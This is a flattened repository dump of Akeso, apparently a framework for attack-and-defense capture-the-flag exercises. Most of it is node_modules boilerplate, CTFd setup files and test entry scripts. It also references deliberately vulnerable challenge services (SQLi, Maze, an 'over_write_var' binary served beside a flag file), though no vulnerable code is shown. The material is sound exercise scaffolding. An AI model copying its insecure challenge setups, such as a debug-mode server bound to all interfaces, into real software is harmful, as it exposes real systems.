| 4 | * Initial release 5 | -------------------------------------------------------------------------------- /examples/challenges/Maze/public/block.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ameserole/Akeso/HEAD/examples/challenges/Maze/public/block.jpg -------------------------------------------------------------------------------- /Akeso/Services/SampleService/over_write_var: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ameserole/Akeso/HEAD/Akeso/Services/SampleService/over_write_var -------------------------------------------------------------------------------- /examples/challenges/Maze/public/phaser.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ameserole/Akeso/HEAD/examples/challenges/Maze/public/phaser.png -------------------------------------------------------------------------------- /examples/challenges/shell-plugin/.gitlab-ci.yml: -------------------------------------------------------------------------------- 1 | image: tamuctf/shell:latest 2 | 3 | test: 4 | script: 5 | - "./tests/entry.sh" 6 | -------------------------------------------------------------------------------- /examples/challenges/Maze/node_modules/engine.io-parser/node_modules/has-binary/Makefile: -------------------------------------------------------------------------------- 1 | 2 | test: 3 | @./node_modules/.bin/mocha test.js 4 | -------------------------------------------------------------------------------- /examples/challenges/Maze/node_modules/options/.npmignore: -------------------------------------------------------------------------------- 1 | npm-debug.log 2 | node_modules 3 | .*.swp 4 | .lock-* 5 | build/ 6 | 7 | test 8 | -------------------------------------------------------------------------------- /examples/challenges/Maze/node_modules/qs/test/index.js: -------------------------------------------------------------------------------- 1 | require('./parse'); 2 | 3 | require('./stringify'); 4 | 5 | require('./utils'); 6 | -------------------------------------------------------------------------------- /examples/challenges/Maze/public/boundary.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ameserole/Akeso/HEAD/examples/challenges/Maze/public/boundary.jpg -------------------------------------------------------------------------------- /examples/challenges/shell-plugin/ctfd/development.txt: -------------------------------------------------------------------------------- 1 | -r requirements.txt 2 | coverage>=4.1 3 | mock>=2.0.0 4 | nose>=1.3.7 5 | rednose>=1.1.1 -------------------------------------------------------------------------------- /examples/challenges/Maze/node_modules/callsite/Makefile: -------------------------------------------------------------------------------- 1 | 2 | test: 3 | @./node_modules/.bin/mocha \ 4 | --require should 5 | 6 | .PHONY: test -------------------------------------------------------------------------------- /examples/challenges/Maze/node_modules/parseqs/README.md: -------------------------------------------------------------------------------- 1 | Provides methods for converting an object into string representation, and vice versa. 2 | -------------------------------------------------------------------------------- /examples/challenges/Maze/node_modules/parseuri/History.md: -------------------------------------------------------------------------------- 1 | 2 | n.n.n / 2014-02-09 3 | ================== 4 | 5 | * parseuri first commit 6 | -------------------------------------------------------------------------------- /examples/challenges/shell-plugin/change-user-pass.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | USER=${1// /} 3 | PASS=${2// /} 4 | echo -e "$PASS\n$PASS" | passwd "$USER" 5 | -------------------------------------------------------------------------------- /examples/challenges/shell-plugin/ctfd/CTFd/ctfd.db: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ameserole/Akeso/HEAD/examples/challenges/shell-plugin/ctfd/CTFd/ctfd.db -------------------------------------------------------------------------------- /examples/challenges/Maze/node_modules/component-inherit/History.md: -------------------------------------------------------------------------------- 1 | 2 | 0.0.2 / 2012-09-03 3 | ================== 4 | 5 | * fix typo in package.json 6 | -------------------------------------------------------------------------------- /examples/challenges/Maze/node_modules/engine.io/node_modules/debug/.npmignore: -------------------------------------------------------------------------------- 1 | support 2 | test 3 | examples 4 | example 5 | *.sock 6 | dist 7 | yarn.lock 8 | -------------------------------------------------------------------------------- /examples/challenges/Maze/node_modules/socket.io/node_modules/debug/.npmignore: -------------------------------------------------------------------------------- 1 | support 2 | test 3 | examples 4 | example 5 | *.sock 6 | dist 7 | yarn.lock 8 | -------------------------------------------------------------------------------- /examples/challenges/Maze/node_modules/utils-merge/.travis.yml: -------------------------------------------------------------------------------- 1 | language: "node_js" 2 | node_js: 3 | - "0.4" 4 | - "0.6" 5 | - "0.8" 6 | - "0.10" 7 | -------------------------------------------------------------------------------- /examples/challenges/Maze/.gitlab-ci.yml: -------------------------------------------------------------------------------- 1 | image: tamuctf/maze:latest 2 | 3 | test: 4 | script: 5 | - "pwd" 6 | - "ls" 7 | - "./tests/entry.sh" 8 | -------------------------------------------------------------------------------- /examples/challenges/Maze/node_modules/engine.io-client/node_modules/debug/.npmignore: -------------------------------------------------------------------------------- 1 | support 2 | test 3 | examples 4 | example 5 | *.sock 6 | dist 7 | yarn.lock 8 | -------------------------------------------------------------------------------- /examples/challenges/Maze/node_modules/has-binary/README.md: -------------------------------------------------------------------------------- 1 | has-binarydata.js 2 | ================= 3 | 4 | Simple module to test if an object contains binary data 5 | -------------------------------------------------------------------------------- /examples/challenges/Maze/node_modules/qs/CONTRIBUTING.md: -------------------------------------------------------------------------------- 1 | Please view our [hapijs contributing guide](https://github.com/hapijs/hapi/blob/master/CONTRIBUTING.md). 2 | -------------------------------------------------------------------------------- /examples/challenges/Maze/node_modules/socket.io-adapter/node_modules/debug/.npmignore: -------------------------------------------------------------------------------- 1 | support 2 | test 3 | examples 4 | example 5 | *.sock 6 | dist 7 | yarn.lock 8 | -------------------------------------------------------------------------------- /examples/challenges/Maze/node_modules/socket.io-client/node_modules/debug/.npmignore: -------------------------------------------------------------------------------- 1 | support 2 | test 3 | examples 4 | example 5 | *.sock 6 | dist 7 | yarn.lock 8 | -------------------------------------------------------------------------------- /setup.py: -------------------------------------------------------------------------------- 1 | from distutils.core import setup 2 | 3 | setup(name='Akeso', 4 | version='0.5', 5 | author='Andrew Meserole', 6 | packages=['Akeso', ]) 7 | -------------------------------------------------------------------------------- /examples/challenges/shell-plugin/ctfd/prepare.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | apt install build-essential python-dev python-pip libffi-dev -y 4 | pip install -r requirements.txt 5 | -------------------------------------------------------------------------------- /examples/challenges/shell-plugin/ctfd/serve.py: -------------------------------------------------------------------------------- 1 | from CTFd import create_app 2 | 3 | app = create_app() 4 | app.run(debug=True, threaded=True, host="0.0.0.0", port=4001) 5 | -------------------------------------------------------------------------------- /examples/challenges/Maze/node_modules/component-bind/Makefile: -------------------------------------------------------------------------------- 1 | 2 | test: 3 | @./node_modules/.bin/mocha \ 4 | --require should \ 5 | --reporter spec 6 | 7 | .PHONY: test -------------------------------------------------------------------------------- /examples/challenges/Maze/node_modules/component-emitter/Makefile: -------------------------------------------------------------------------------- 1 | 2 | test: 3 | @./node_modules/.bin/mocha \ 4 | --require should \ 5 | --reporter spec 6 | 7 | .PHONY: test -------------------------------------------------------------------------------- /examples/challenges/Maze/node_modules/engine.io/index.js: -------------------------------------------------------------------------------- 1 | 2 | module.exports = process.env.EIO_COV 3 | ? require('./lib-cov/engine.io') 4 | : require('./lib/engine.io'); 5 | -------------------------------------------------------------------------------- /examples/challenges/Maze/node_modules/backo2/Makefile: -------------------------------------------------------------------------------- 1 | 2 | test: 3 | @./node_modules/.bin/mocha \ 4 | --require should \ 5 | --reporter dot \ 6 | --bail 7 | 8 | .PHONY: test -------------------------------------------------------------------------------- /examples/challenges/Maze/node_modules/ws/.npmignore: -------------------------------------------------------------------------------- 1 | npm-debug.log 2 | node_modules 3 | .*.swp 4 | .lock-* 5 | build 6 | 7 | bench 8 | doc 9 | examples 10 | test 11 | 12 | -------------------------------------------------------------------------------- /examples/challenges/Maze/node_modules/arraybuffer.slice/Makefile: -------------------------------------------------------------------------------- 1 | 2 | REPORTER = dot 3 | 4 | test: 5 | @./node_modules/.bin/mocha \ 6 | --reporter $(REPORTER) 7 | 8 | .PHONY: test 9 | -------------------------------------------------------------------------------- /examples/challenges/Maze/node_modules/isarray/index.js: -------------------------------------------------------------------------------- 1 | module.exports = Array.isArray || function (arr) { 2 | return Object.prototype.toString.call(arr) == '[object Array]'; 3 | }; 4 | -------------------------------------------------------------------------------- /examples/challenges/shell-plugin/ctfd/CTFd/static/original/img/ctfd.ai: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ameserole/Akeso/HEAD/examples/challenges/shell-plugin/ctfd/CTFd/static/original/img/ctfd.ai -------------------------------------------------------------------------------- /examples/challenges/shell-plugin/ctfd/CTFd/static/original/img/logo.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ameserole/Akeso/HEAD/examples/challenges/shell-plugin/ctfd/CTFd/static/original/img/logo.png -------------------------------------------------------------------------------- /examples/challenges/Maze/node_modules/engine.io-parser/node_modules/has-binary/README.md: -------------------------------------------------------------------------------- 1 | has-binarydata.js 2 | ================= 3 | 4 | Simple module to test if an object contains binary data 5 | -------------------------------------------------------------------------------- /examples/challenges/shell-plugin/ctfd/.travis.yml: -------------------------------------------------------------------------------- 1 | language: python 2 | python: 3 | - 2.7 4 | - 3.5 5 | install: 6 | - pip install -r development.txt 7 | script: 8 | - nosetests 9 | -------------------------------------------------------------------------------- /examples/challenges/shell-plugin/ctfd/CTFd/static/original/img/favicon.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ameserole/Akeso/HEAD/examples/challenges/shell-plugin/ctfd/CTFd/static/original/img/favicon.ico -------------------------------------------------------------------------------- /examples/challenges/shell-plugin/ctfd/CTFd/static/original/img/logo_old.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ameserole/Akeso/HEAD/examples/challenges/shell-plugin/ctfd/CTFd/static/original/img/logo_old.png -------------------------------------------------------------------------------- /examples/challenges/Maze/node_modules/ipaddr.js/.travis.yml: -------------------------------------------------------------------------------- 1 | language: node_js 2 | 3 | node_js: 4 | - "0.10" 5 | - "0.11" 6 | - "0.12" 7 | - "4.0" 8 | - "4.1" 9 | - "4.2" 10 | - "5" 11 | -------------------------------------------------------------------------------- /examples/challenges/Maze/tests/entry.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | touch logs.txt 4 | echo "Starting Server" 5 | node server/server.js > logs.txt 2>&1 & 6 | sleep 5s 7 | echo "Pushing message" 8 | python tests/queue.py 9 | -------------------------------------------------------------------------------- /examples/challenges/shell-plugin/add-user.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | mkdir /home/$1 4 | useradd -G ctf-users --home /home/$1 -s /bin/bash $1 5 | 6 | chown $1:$1 /home/$1 7 | 8 | echo -e "$2\n$2" | passwd $1 9 | 10 | -------------------------------------------------------------------------------- /examples/challenges/Maze/node_modules/has-binary/.npmignore: -------------------------------------------------------------------------------- 1 | lib-cov 2 | *.seed 3 | *.log 4 | *.csv 5 | *.dat 6 | *.out 7 | *.pid 8 | *.gz 9 | 10 | pids 11 | logs 12 | results 13 | 14 | npm-debug.log 15 | node_modules 16 | -------------------------------------------------------------------------------- /examples/challenges/Maze/node_modules/mime/cli.js: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env node 2 | 3 | var mime = require('./mime.js'); 4 | var file = process.argv[2]; 5 | var type = mime.lookup(file); 6 | 7 | process.stdout.write(type + '\n'); 8 | 9 | -------------------------------------------------------------------------------- /examples/challenges/Maze/node_modules/component-inherit/index.js: -------------------------------------------------------------------------------- 1 | 2 | module.exports = function(a, b){ 3 | var fn = function(){}; 4 | fn.prototype = b.prototype; 5 | a.prototype = new fn; 6 | a.prototype.constructor = a; 7 | }; -------------------------------------------------------------------------------- /examples/challenges/shell-plugin/ctfd/CTFd/static/admin/fonts/lato/lato-v11-latin-regular.eot: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ameserole/Akeso/HEAD/examples/challenges/shell-plugin/ctfd/CTFd/static/admin/fonts/lato/lato-v11-latin-regular.eot -------------------------------------------------------------------------------- /examples/challenges/shell-plugin/ctfd/CTFd/static/admin/fonts/lato/lato-v11-latin-regular.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ameserole/Akeso/HEAD/examples/challenges/shell-plugin/ctfd/CTFd/static/admin/fonts/lato/lato-v11-latin-regular.ttf -------------------------------------------------------------------------------- /examples/challenges/Maze/node_modules/callsite/History.md: -------------------------------------------------------------------------------- 1 | 2 | 1.0.0 / 2013-01-24 3 | ================== 4 | 5 | * remove lame magical getters 6 | 7 | 0.0.1 / 2010-01-03 8 | ================== 9 | 10 | * Initial release 11 | -------------------------------------------------------------------------------- /examples/challenges/shell-plugin/ctfd/CTFd/static/admin/fonts/lato/lato-v11-latin-regular.woff: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ameserole/Akeso/HEAD/examples/challenges/shell-plugin/ctfd/CTFd/static/admin/fonts/lato/lato-v11-latin-regular.woff -------------------------------------------------------------------------------- /examples/challenges/shell-plugin/ctfd/CTFd/static/admin/fonts/lato/lato-v11-latin-regular.woff2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ameserole/Akeso/HEAD/examples/challenges/shell-plugin/ctfd/CTFd/static/admin/fonts/lato/lato-v11-latin-regular.woff2 -------------------------------------------------------------------------------- /examples/challenges/shell-plugin/ctfd/CTFd/static/admin/fonts/raleway/raleway-v10-latin-500.eot: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ameserole/Akeso/HEAD/examples/challenges/shell-plugin/ctfd/CTFd/static/admin/fonts/raleway/raleway-v10-latin-500.eot -------------------------------------------------------------------------------- /examples/challenges/shell-plugin/ctfd/CTFd/static/admin/fonts/raleway/raleway-v10-latin-500.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ameserole/Akeso/HEAD/examples/challenges/shell-plugin/ctfd/CTFd/static/admin/fonts/raleway/raleway-v10-latin-500.ttf -------------------------------------------------------------------------------- /examples/challenges/shell-plugin/ctfd/CTFd/static/admin/fonts/raleway/raleway-v10-latin-500.woff: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ameserole/Akeso/HEAD/examples/challenges/shell-plugin/ctfd/CTFd/static/admin/fonts/raleway/raleway-v10-latin-500.woff -------------------------------------------------------------------------------- /examples/challenges/shell-plugin/ctfd/CTFd/static/original/fonts/lato/lato-v11-latin-regular.eot: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ameserole/Akeso/HEAD/examples/challenges/shell-plugin/ctfd/CTFd/static/original/fonts/lato/lato-v11-latin-regular.eot -------------------------------------------------------------------------------- /examples/challenges/shell-plugin/ctfd/CTFd/static/original/fonts/lato/lato-v11-latin-regular.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ameserole/Akeso/HEAD/examples/challenges/shell-plugin/ctfd/CTFd/static/original/fonts/lato/lato-v11-latin-regular.ttf -------------------------------------------------------------------------------- /examples/challenges/shell-plugin/ctfd/CTFd/templates/original/page.html: -------------------------------------------------------------------------------- 1 | {% extends "base.html" %} 2 | 3 | {% block content %} 4 |
5 | {{ content | safe }} 6 |
7 | {% endblock %} 8 | -------------------------------------------------------------------------------- /examples/challenges/Maze/node_modules/mime-db/index.js: -------------------------------------------------------------------------------- 1 | /*! 2 | * mime-db 3 | * Copyright(c) 2014 Jonathan Ong 4 | * MIT Licensed 5 | */ 6 | 7 | /** 8 | * Module exports. 9 | */ 10 | 11 | module.exports = require('./db.json') 12 | -------------------------------------------------------------------------------- /examples/challenges/shell-plugin/ctfd/CTFd/static/admin/css/vendor/font-awesome/less/fixed-width.less: -------------------------------------------------------------------------------- 1 | // Fixed Width Icons 2 | // ------------------------- 3 | .@{fa-css-prefix}-fw { 4 | width: (18em / 14); 5 | text-align: center; 6 | } 7 | -------------------------------------------------------------------------------- /examples/challenges/shell-plugin/ctfd/CTFd/static/admin/css/vendor/font-awesome/scss/_fixed-width.scss: -------------------------------------------------------------------------------- 1 | // Fixed Width Icons 2 | // ------------------------- 3 | .#{$fa-css-prefix}-fw { 4 | width: (18em / 14); 5 | text-align: center; 6 | } 7 | -------------------------------------------------------------------------------- /examples/challenges/shell-plugin/ctfd/CTFd/static/admin/fonts/raleway/raleway-v10-latin-500.woff2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ameserole/Akeso/HEAD/examples/challenges/shell-plugin/ctfd/CTFd/static/admin/fonts/raleway/raleway-v10-latin-500.woff2 -------------------------------------------------------------------------------- /examples/challenges/shell-plugin/ctfd/CTFd/static/original/css/vendor/font-awesome/less/fixed-width.less: -------------------------------------------------------------------------------- 1 | // Fixed Width Icons 2 | // ------------------------- 3 | .@{fa-css-prefix}-fw { 4 | width: (18em / 14); 5 | text-align: center; 6 | } 7 | -------------------------------------------------------------------------------- /examples/challenges/shell-plugin/ctfd/CTFd/static/original/fonts/lato/lato-v11-latin-regular.woff: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ameserole/Akeso/HEAD/examples/challenges/shell-plugin/ctfd/CTFd/static/original/fonts/lato/lato-v11-latin-regular.woff -------------------------------------------------------------------------------- /examples/challenges/shell-plugin/ctfd/CTFd/static/original/fonts/lato/lato-v11-latin-regular.woff2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ameserole/Akeso/HEAD/examples/challenges/shell-plugin/ctfd/CTFd/static/original/fonts/lato/lato-v11-latin-regular.woff2 -------------------------------------------------------------------------------- /examples/challenges/shell-plugin/ctfd/CTFd/static/original/fonts/raleway/raleway-v10-latin-500.eot: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ameserole/Akeso/HEAD/examples/challenges/shell-plugin/ctfd/CTFd/static/original/fonts/raleway/raleway-v10-latin-500.eot -------------------------------------------------------------------------------- /examples/challenges/shell-plugin/ctfd/CTFd/static/original/fonts/raleway/raleway-v10-latin-500.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ameserole/Akeso/HEAD/examples/challenges/shell-plugin/ctfd/CTFd/static/original/fonts/raleway/raleway-v10-latin-500.ttf -------------------------------------------------------------------------------- /examples/challenges/Maze/node_modules/indexof/Makefile: -------------------------------------------------------------------------------- 1 | 2 | build: components index.js 3 | @component build 4 | 5 | components: 6 | @Component install 7 | 8 | clean: 9 | rm -fr build components template.js 10 | 11 | .PHONY: clean 12 | -------------------------------------------------------------------------------- /examples/challenges/Maze/node_modules/qs/lib/index.js: -------------------------------------------------------------------------------- 1 | 'use strict'; 2 | 3 | var Stringify = require('./stringify'); 4 | var Parse = require('./parse'); 5 | 6 | module.exports = { 7 | stringify: Stringify, 8 | parse: Parse 9 | }; 10 | -------------------------------------------------------------------------------- /examples/challenges/shell-plugin/ctfd/CTFd/static/admin/css/vendor/font-awesome/fonts/FontAwesome.otf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ameserole/Akeso/HEAD/examples/challenges/shell-plugin/ctfd/CTFd/static/admin/css/vendor/font-awesome/fonts/FontAwesome.otf -------------------------------------------------------------------------------- /examples/challenges/shell-plugin/ctfd/CTFd/static/original/css/vendor/font-awesome/scss/_fixed-width.scss: -------------------------------------------------------------------------------- 1 | // Fixed Width Icons 2 | // ------------------------- 3 | .#{$fa-css-prefix}-fw { 4 | width: (18em / 14); 5 | text-align: center; 6 | } 7 | -------------------------------------------------------------------------------- /examples/challenges/shell-plugin/ctfd/CTFd/static/original/fonts/raleway/raleway-v10-latin-500.woff: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ameserole/Akeso/HEAD/examples/challenges/shell-plugin/ctfd/CTFd/static/original/fonts/raleway/raleway-v10-latin-500.woff -------------------------------------------------------------------------------- /examples/challenges/shell-plugin/ctfd/CTFd/static/original/fonts/raleway/raleway-v10-latin-500.woff2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ameserole/Akeso/HEAD/examples/challenges/shell-plugin/ctfd/CTFd/static/original/fonts/raleway/raleway-v10-latin-500.woff2 -------------------------------------------------------------------------------- /examples/challenges/Maze/node_modules/arraybuffer.slice/.npmignore: -------------------------------------------------------------------------------- 1 | lib-cov 2 | lcov.info 3 | *.seed 4 | *.log 5 | *.csv 6 | *.dat 7 | *.out 8 | *.pid 9 | *.gz 10 | 11 | pids 12 | logs 13 | results 14 | build 15 | .grunt 16 | 17 | node_modules 18 | -------------------------------------------------------------------------------- /examples/challenges/Maze/node_modules/engine.io-client/lib/index.js: -------------------------------------------------------------------------------- 1 | 2 | module.exports = require('./socket'); 3 | 4 | /** 5 | * Exports parser 6 | * 7 | * @api public 8 | * 9 | */ 10 | module.exports.parser = require('engine.io-parser'); 11 | -------------------------------------------------------------------------------- /examples/challenges/shell-plugin/ctfd/import.py: -------------------------------------------------------------------------------- 1 | from CTFd import create_app 2 | from CTFd.utils import import_ctf 3 | 4 | import zipfile 5 | import sys 6 | 7 | app = create_app() 8 | with app.app_context(): 9 | import_ctf(sys.argv[1]) 10 | -------------------------------------------------------------------------------- /examples/challenges/Maze/node_modules/encodeurl/HISTORY.md: -------------------------------------------------------------------------------- 1 | 1.0.1 / 2016-06-09 2 | ================== 3 | 4 | * Fix encoding unpaired surrogates at start/end of string 5 | 6 | 1.0.0 / 2016-06-08 7 | ================== 8 | 9 | * Initial release 10 | -------------------------------------------------------------------------------- /examples/challenges/Maze/node_modules/engine.io-parser/node_modules/has-binary/.npmignore: -------------------------------------------------------------------------------- 1 | lib-cov 2 | *.seed 3 | *.log 4 | *.csv 5 | *.dat 6 | *.out 7 | *.pid 8 | *.gz 9 | 10 | pids 11 | logs 12 | results 13 | 14 | npm-debug.log 15 | node_modules 16 | -------------------------------------------------------------------------------- /examples/challenges/shell-plugin/ctfd/CTFd/static/original/css/vendor/font-awesome/fonts/FontAwesome.otf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ameserole/Akeso/HEAD/examples/challenges/shell-plugin/ctfd/CTFd/static/original/css/vendor/font-awesome/fonts/FontAwesome.otf -------------------------------------------------------------------------------- /examples/challenges/Apache/tests/entry.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | 4 | echo "Hello Word" > /var/www/html/index.html 5 | cp apache2.conf /etc/apache2/apache2.conf; 6 | service apache2 restart; 7 | cat /var/log/apache2/error.log 8 | python tests/queue.py 9 | 10 | -------------------------------------------------------------------------------- /examples/challenges/Maze/node_modules/better-assert/example.js: -------------------------------------------------------------------------------- 1 | 2 | var assert = require('./'); 3 | 4 | test(); 5 | 6 | function test() { 7 | var user = { name: 'tobi' }; 8 | assert('tobi' == user.name); 9 | assert('number' == typeof user.age); 10 | } -------------------------------------------------------------------------------- /examples/challenges/Maze/node_modules/indexof/Readme.md: -------------------------------------------------------------------------------- 1 | 2 | # indexOf 3 | 4 | Lame indexOf thing, thanks microsoft 5 | 6 | ## Example 7 | 8 | ```js 9 | var index = require('indexof'); 10 | index(arr, obj); 11 | ``` 12 | 13 | ## License 14 | 15 | MIT -------------------------------------------------------------------------------- /examples/example_entry.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | cp login.php /var/www/html/login.php 4 | cp index.html /var/www/html/index.html 5 | cp apache2.conf /etc/apache2/apache2.conf 6 | 7 | ./db_gen.sh 8 | service apache2 restart; 9 | python tests/queue.py 10 | 11 | -------------------------------------------------------------------------------- /examples/challenges/Maze/node_modules/backo2/History.md: -------------------------------------------------------------------------------- 1 | 2 | 1.0.1 / 2014-02-17 3 | ================== 4 | 5 | * go away decimal point 6 | * history 7 | 8 | 1.0.0 / 2014-02-17 9 | ================== 10 | 11 | * add jitter option 12 | * Initial commit 13 | -------------------------------------------------------------------------------- /examples/challenges/shell-plugin/ctfd/CTFd/static/admin/css/vendor/font-awesome/fonts/fontawesome-webfont.eot: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ameserole/Akeso/HEAD/examples/challenges/shell-plugin/ctfd/CTFd/static/admin/css/vendor/font-awesome/fonts/fontawesome-webfont.eot -------------------------------------------------------------------------------- /examples/challenges/shell-plugin/ctfd/CTFd/static/admin/css/vendor/font-awesome/fonts/fontawesome-webfont.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ameserole/Akeso/HEAD/examples/challenges/shell-plugin/ctfd/CTFd/static/admin/css/vendor/font-awesome/fonts/fontawesome-webfont.ttf -------------------------------------------------------------------------------- /examples/challenges/shell-plugin/ctfd/CTFd/static/admin/css/vendor/font-awesome/fonts/fontawesome-webfont.woff: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ameserole/Akeso/HEAD/examples/challenges/shell-plugin/ctfd/CTFd/static/admin/css/vendor/font-awesome/fonts/fontawesome-webfont.woff -------------------------------------------------------------------------------- /examples/challenges/shell-plugin/ctfd/CTFd/static/admin/css/vendor/font-awesome/fonts/fontawesome-webfont.woff2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ameserole/Akeso/HEAD/examples/challenges/shell-plugin/ctfd/CTFd/static/admin/css/vendor/font-awesome/fonts/fontawesome-webfont.woff2 -------------------------------------------------------------------------------- /examples/challenges/Maze/node_modules/has-cors/Makefile: -------------------------------------------------------------------------------- 1 | 2 | build: components index.js 3 | @component build --dev 4 | 5 | components: component.json 6 | @component install --dev 7 | 8 | clean: 9 | rm -fr build components template.js 10 | 11 | .PHONY: clean 12 | -------------------------------------------------------------------------------- /examples/challenges/Maze/node_modules/inherits/inherits.js: -------------------------------------------------------------------------------- 1 | try { 2 | var util = require('util'); 3 | if (typeof util.inherits !== 'function') throw ''; 4 | module.exports = util.inherits; 5 | } catch (e) { 6 | module.exports = require('./inherits_browser.js'); 7 | } 8 | -------------------------------------------------------------------------------- /examples/challenges/shell-plugin/ctfd/CTFd/static/original/css/vendor/font-awesome/fonts/fontawesome-webfont.eot: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ameserole/Akeso/HEAD/examples/challenges/shell-plugin/ctfd/CTFd/static/original/css/vendor/font-awesome/fonts/fontawesome-webfont.eot -------------------------------------------------------------------------------- /examples/challenges/shell-plugin/ctfd/CTFd/static/original/css/vendor/font-awesome/fonts/fontawesome-webfont.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ameserole/Akeso/HEAD/examples/challenges/shell-plugin/ctfd/CTFd/static/original/css/vendor/font-awesome/fonts/fontawesome-webfont.ttf -------------------------------------------------------------------------------- /examples/challenges/shell-plugin/ctfd/CTFd/static/original/css/vendor/font-awesome/fonts/fontawesome-webfont.woff: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ameserole/Akeso/HEAD/examples/challenges/shell-plugin/ctfd/CTFd/static/original/css/vendor/font-awesome/fonts/fontawesome-webfont.woff -------------------------------------------------------------------------------- /examples/challenges/Maze/node_modules/object-component/History.md: -------------------------------------------------------------------------------- 1 | 2 | 0.0.3 / 2012-10-15 3 | ================== 4 | 5 | * package: added `component` namespace (fixes #1) 6 | 7 | 0.0.2 / 2012-09-20 8 | ================== 9 | 10 | * add code smell to `.merge()` 11 | -------------------------------------------------------------------------------- /examples/challenges/SQLi/tests/entry.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | cp login.php /var/www/html/login.php 4 | cp index.html /var/www/html/index.html 5 | cp apache2.conf /etc/apache2/apache2.conf 6 | 7 | ./db_gen.sh 8 | service apache2 restart; 9 | python tests/queue.py 10 | 11 | -------------------------------------------------------------------------------- /examples/challenges/shell-plugin/ctfd/CTFd/static/original/css/vendor/font-awesome/fonts/fontawesome-webfont.woff2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ameserole/Akeso/HEAD/examples/challenges/shell-plugin/ctfd/CTFd/static/original/css/vendor/font-awesome/fonts/fontawesome-webfont.woff2 -------------------------------------------------------------------------------- /examples/challenges/Maze/node_modules/indexof/component.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "indexof", 3 | "description": "Microsoft sucks", 4 | "version": "0.0.1", 5 | "keywords": ["index", "array", "indexOf"], 6 | "dependencies": {}, 7 | "scripts": [ 8 | "index.js" 9 | ] 10 | } -------------------------------------------------------------------------------- /examples/challenges/shell-plugin/ctfd/CTFd/static/admin/js/templates/keys/regex/regex.hbs: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /examples/challenges/Maze/node_modules/indexof/index.js: -------------------------------------------------------------------------------- 1 | 2 | var indexOf = [].indexOf; 3 | 4 | module.exports = function(arr, obj){ 5 | if (indexOf) return arr.indexOf(obj); 6 | for (var i = 0; i < arr.length; ++i) { 7 | if (arr[i] === obj) return i; 8 | } 9 | return -1; 10 | }; -------------------------------------------------------------------------------- /examples/challenges/shell-plugin/tests/entry.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | python script_server.py & 4 | pushd ctfd/ 5 | python serve.py & 6 | popd 7 | sleep 5s 8 | service ssh start 9 | python tests/queue.py $(cat /proc/self/cgroup | grep docker | grep -o -E '[0-9a-f]{64}' | head -n 1) 10 | -------------------------------------------------------------------------------- /examples/challenges/Maze/node_modules/xmlhttprequest-ssl/autotest.watchr: -------------------------------------------------------------------------------- 1 | def run_all_tests 2 | puts `clear` 3 | puts `node tests/test-constants.js` 4 | puts `node tests/test-headers.js` 5 | puts `node tests/test-request.js` 6 | end 7 | watch('.*.js') { run_all_tests } 8 | run_all_tests 9 | -------------------------------------------------------------------------------- /Akeso/Services/SampleService/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM 32bit/ubuntu:16.04 2 | 3 | RUN apt-get update 4 | RUN apt-get install -y python-pip 5 | 6 | COPY over_write_var / 7 | COPY host_problem.py / 8 | COPY flag.txt / 9 | 10 | EXPOSE 4322 11 | CMD ["python", "host_problem.py", "over_write_var", " 4322"] 12 | -------------------------------------------------------------------------------- /examples/challenges/Maze/node_modules/component-inherit/component.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "inherit", 3 | "description": "Prototype inheritance utility", 4 | "version": "0.0.3", 5 | "keywords": ["inherit", "utility"], 6 | "dependencies": {}, 7 | "scripts": [ 8 | "index.js" 9 | ] 10 | } 11 | -------------------------------------------------------------------------------- /examples/challenges/Maze/node_modules/object-component/component.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "object", 3 | "description": "Object keys / values / length", 4 | "version": "0.0.3", 5 | "keywords": ["object", "keys", "utility"], 6 | "dependencies": {}, 7 | "scripts": [ 8 | "index.js" 9 | ] 10 | } 